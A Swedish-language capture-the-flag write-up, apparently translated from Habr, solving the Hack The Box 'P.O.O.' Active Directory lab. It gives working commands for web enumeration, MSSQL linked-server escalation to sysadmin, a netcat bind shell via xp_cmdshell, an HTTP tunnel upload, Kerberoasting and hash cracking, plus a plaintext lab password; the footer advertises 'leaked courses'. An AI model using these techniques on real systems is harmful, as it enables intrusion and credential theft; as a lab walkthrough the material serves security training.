
I denna artikel ska vi titta pÄ genomförandet av inte bara en maskin, utan en hel mini-laboratorie frÄn plattformen .
Som beskrivs Àr P.O.O. avsedd för att testa fÀrdigheter i alla stadier av attacker inom en liten Active Directory-miljö. MÄlet Àr att kompromettera en tillgÀnglig vÀrd, höja privilegier och slutligen kompromettera hela domÀnen, samtidigt som 5 flaggor samlas.
Anslutningen till laboratoriet sker via VPN. Det rekommenderas att inte ansluta frĂ„n din arbetsdator eller frĂ„n en vĂ€rd dĂ€r du har viktiga data, eftersom du gĂ„r in i ett privat nĂ€tverk med personer som har kunskap inom cybersĂ€kerhet đ
Organisationsinformation
För att du ska kunna hĂ„lla dig informerad om nya artiklar, programvara och annan information har jag skapat och inom omrĂ„det cybersĂ€kerhet. Ăven dina personliga förfrĂ„gningar, frĂ„gor, förslag och rekommendationer .
All information presenteras uteslutande i utbildningssyfte. Författaren av detta dokument tar inget ansvar för eventuell skada som orsakas nÄgon genom anvÀndning av kunskaper och metoder som erhÄllits genom att studera detta dokument.
Intro
Denna endgame bestÄr av tvÄ maskiner och innehÄller 5 flaggor.

Det ges Àven en beskrivning och adress till den tillgÀngliga vÀrden.

LÄt oss börja!
Recon flag
Denna maskin har IP-adressen 10.13.38.11, som jag lÀgger till i /etc/hosts.
10.13.38.11 poo.htb
Först skannar vi öppna portar. Eftersom det tar tid att skanna alla portar med nmap, gör jag först detta med masscan. Vi skannar alla TCP och UDP portar frÄn grÀnssnittet tun0 med en hastighet av 500 paket per sekund.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500 
Nu för att fÄ mer detaljerad information om tjÀnsterna som körs pÄ portarna, lÄt oss köra en skanning med alternativet -A.
nmap -A poo.htb -p80,1433 
SÄ, vi har IIS och MSSQL-tjÀnster. Under tiden lÀr vi oss det verkliga DNS-namnet pÄ domÀnen och datorn. PÄ webbservern möts vi av IIS startsidan.

LÄt oss lista upp katalogerna. Jag anvÀnder gobuster för detta. I parametrarna anger jag antalet trÄdar 128 (-t), URL (-u), ordlista (-w) och filÀndelser som vi Àr intresserade av (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html 
PÄ sÄ vis har vi HTTP-autentisering för katalogen /admin, samt en tillgÀnglig fil för lagring av skrivbordstjÀnsten .DS_Store. .DS_Store Àr filer som lagrar anvÀndarinstÀllningar för en mapp, sÄsom fil-lista, ikon-position, valt bakgrundsbild. En sÄdan fil kan hamna i en webbservers katalog hos webbutvecklare. PÄ sÄ vis fÄr vi information om innehÄllet i katalogen. För detta kan vi anvÀnda .
python3 dsstore_crawler.py -i http://poo.htb/ 
Vi fÄr innehÄllet i katalogen. Det mest intressanta hÀr Àr katalogen /dev, varifrÄn vi i tvÄ grenar kan se kÀllkoden och db-filer. Men vi kan se de första 6 tecknen av namnen pÄ filer och kataloger, om tjÀnsten Àr sÄrbar mot IIS ShortName. Vi kan kontrollera om denna sÄrbarhet finns med hjÀlp av .

Och vi hittar en textfil som börjar med "poo_co". Utan att veta vad jag ska göra hÀrnÀst, valde jag helt enkelt ut alla ord som börjar med "co" frÄn katalogordlistan.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txtOch vi gÄr igenom med hjÀlp av wfuzz.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404 
Och vi hittar ett passande ord! Vi tittar pÄ denna fil, sparar inloggningsuppgifterna (i och med parametern DBNAME, de Àr frÄn MSSQL).

Vi lÀmnar in flaggan, och vi har avancerat med 20%.

Huh flag
Vi ansluter till MSSQL, jag anvÀnder DBeaver.

Inget intressant hittas i denna databas, lÄt oss skapa en SQL-editor och kontrollera vilka anvÀndare som finns.
SELECT name FROM master..syslogins; 
Vi har tvÄ anvÀndare. LÄt oss kontrollera deras privilegier.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin'); 
SÄ det finns inga privilegier. LÄt oss ta en titt pÄ de relaterade servrarna, jag har skrivit detaljerat om denna metodik .
SELECT * FROM master..sysservers; 
SÄ vi hittar en till SQL Server. LÄt oss kontrollera kommandokörning pÄ denna server med hjÀlp av openquery().
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version'); 
Och vi kan till och med bygga upp ett trÀd av frÄgor.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');Det Àr sÄ att nÀr vi gör en förfrÄgan till den kopplade servern, sÄ utförs förfrÄgan i en annan anvÀndares kontext! LÄt oss titta pÄ i vilken anvÀndares kontext vi arbetar pÄ den kopplade servern.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name'); 
Och nu tittar vi pÄ i vilken kontext förfrÄgningar frÄn den kopplade servern utförs pÄ vÄr!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');'); 
SÄledes Àr detta DBO-kontextet som bör ha alla privilegier. LÄt oss kontrollera privilegierna vid en förfrÄgan frÄn den kopplade servern.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')'); 
Som man kan se, har vi alla privilegier! LÄt oss skapa vÄr egen administratör. Men genom openquery tillÄts det inte, lÄt oss göra detta genom EXECUTE AT.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";Och nu loggar vi in med den nya anvÀndarens uppgifter och observerar den nya databasen flag.

Vi lÀmnar denna flagga och gÄr vidare.

BackTrack flag
Vi fÄr en shell via MSSQL, jag anvÀnder mssqlclient frÄn impacket-paketet.
mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC 
Vi behöver fÄ tag pÄ lösenord, och det första vi redan har stött pÄ Àr webbplatsen. SÄ vi behöver konfigurationsfilen för webbservern (att placera en bekvÀm shell fungerar tydligen inte, det verkar vara en brandvÀgg).

Men Ă„tkomsten Ă€r förbjuden. Ăven om vi kan lĂ€sa filer frĂ„n MSSQL, mĂ„ste vi veta vilka programmeringssprĂ„k som Ă€r konfigurerade. Och i MSSQL-katalogen fĂ„r vi veta att Python finns.

SÄ att lÀsa filen web.config Àr inga problem.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())" 
Med de hittade inloggningsuppgifterna gÄr vi till /admin och hÀmtar flaggen.


Foothold flag
Det finns faktiskt vissa nackdelar med att anvÀnda brandvÀgg, men nÀr vi granskar nÀtverksinstÀllningarna mÀrker vi att Àven IPv6 anvÀnds!

Vi lÀgger till denna adress i /etc/hosts.
dead:babe::1001 poo6.htb
LÄt oss skanna vÀrden igen, men den hÀr gÄngen med protokollet IPv6.

Och WinRM-tjÀnsten Àr ocksÄ tillgÀnglig över IPv6. LÄt oss ansluta med de hittade referenserna.

Det finns en flagga pÄ skrivbordet, lÄt oss lÀmna in den.

P00ned flag
Genom att göra reconnaissance pÄ vÀrden med hjÀlp av hittar vi inget speciellt. DÄ fattades beslutet att Äterigen leta efter referenser (jag har ocksÄ skrivit om detta ). Men jag lyckades inte hÀmta alla SPN frÄn systemet via WinRM.
setspn.exe -T intranet.poo -Q */* 
LÄt oss köra kommandot via MSSQL.

Den angivna metoden ger oss SPN för anvÀndarna p00_hr och p00_adm, vilket innebÀr att de Àr sÄrbara för en attack som Kerberoasting. Kort sagt kan vi fÄ tag pÄ deras lösenordshashar.
Först behöver vi fĂ„ en stabil shell som körs som anvĂ€ndaren MSSQL. Men eftersom vi Ă€r begrĂ€nsade i Ă„tkomst har vi bara kontakt med vĂ€rden via port 80 och 1433. Men det finns en möjlighet att tunnera trafik över port 80! För detta kommer vi att anvĂ€nda . Vi laddar upp filen tunnel.aspx till hemkatalogen för webbservern â C:inetpubwwwroot.

Men nÀr vi försöker komma Ät den fÄr vi ett felmeddelande 404. Det betyder att filer med *.aspx inte körs. För att filer med detta tillÀgg ska köras, installerar vi ASP.NET 4.5 pÄ följande sÀtt.
dism /online /enable-feature /all /featurename:IIS-ASPNET45 
![]()
Och nu nÀr vi försöker nÄ tunnel.aspx fÄr vi svaret att allt Àr klart för drift.
![]()
LÄt oss starta klientdelen av applikationen som kommer att ansvara för att retransmittera trafiken. Vi kommer att omdirigera all trafik frÄn port 5432 till servern.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx 
Och vi anvÀnder proxychains för att skicka trafik frÄn vilken applikation som helst genom vÄr proxy. Vi lÀgger till denna proxy i konfigurationsfilen /etc/proxychains.conf.

Nu laddar vi upp programmet , med hjÀlp av vilket vi ska skapa en stabil bind shell, samt skriptet , med hjÀlp av vilket vi kommer att genomföra Kerberoasting-attacken.

Nu startar vi listening via MSSQL.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321 
Och vi ansluter via vÄr proxy.
proxychains rlwrap nc poo.htb 4321 
LÄt oss fÄ tag pÄ hasharna.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
typ kerb_hashes.txt 
DÀrefter mÄste vi bryta dessa hashar. Eftersom det inte fanns nÄgra lösenord i rockyou-ordlistan anvÀnde jag alla lösenordslister som tillhandahölls i Seclists. För att bryta dem anvÀnder vi hashcat.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --forceOch vi hittar bÄda lösenorden, det första i ordboken dutch_passwordlist.txt och det andra i Keyboard-Combinations.txt.


SÄ vi har tre anvÀndare, vi gÄr till domÀnkontrollern. Först tar vi reda pÄ dess adress.

Bra, vi har fÄtt IP-adressen till domÀnkontrollern. LÄt oss ta reda pÄ alla domÀnanvÀndare, och vem av dem som Àr administratör. För detta laddar vi ner skriptet PowerView.ps1. Sedan ansluter vi med evil-winrm, angivande sökvÀgen till skriptet i parametern -s. Och sedan laddar vi helt enkelt upp skriptet PowerView.

Nu har vi tillgÄng till alla dess funktioner. AnvÀndaren p00_adm verkar vara privilegierad, sÄ vi arbetar i hans kontext. Vi skapar ett PSCredential-objekt för denna anvÀndare.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$CpassNu kommer alla Powershell-kommandon dÀr vi anger Creds att utföras i p00_adm:s namn. LÄt oss lista anvÀndarna och attributet AdminCount.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount 
SÄ, vÄr anvÀndare Àr verkligen privilegierad. LÄt oss se vilka grupper han tillhör.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds 
Vi bekrÀftar till slut att anvÀndaren Àr domÀnadministratör. Detta ger honom rÀtt att logga in pÄ domÀnkontrollern pÄ distans. LÄt oss försöka logga in via WinRM, genom att anvÀnda vÄr tunnel. Jag blev förvirrad av de fel som reGeorg gav nÀr jag anvÀnde evil-winrm.

DÄ anvÀnder vi ett annat, enklare, för att ansluta till WinRM. Vi öppnar och Àndrar instÀllningarna för anslutningen.

Vi försöker ansluta, och vi Àr inne i systemet.

Men det finns ingen flagga. DÄ kollar vi anvÀndaren och kontrollerar skrivborden.

Hos mr3ks hittar vi flaggan och laboratoriet Àr avklarat till 100%.

Det Ă€r allt. Som feedback, kommentera â har du lĂ€rt dig nĂ„got nytt frĂ„n denna artikel och var den anvĂ€ndbar för dig?
Du kan gÄ med oss i . DÀr kan man hitta intressanta material, lÀckta kurser samt mjukvara. LÄt oss bygga ett samhÀlle dÀr det finns mÀnniskor som kan mycket inom IT, sÄ att vi alltid kan hjÀlpa varandra med alla frÄgor inom IT och IT-sÀkerhet.
KĂ€lla: habr.com
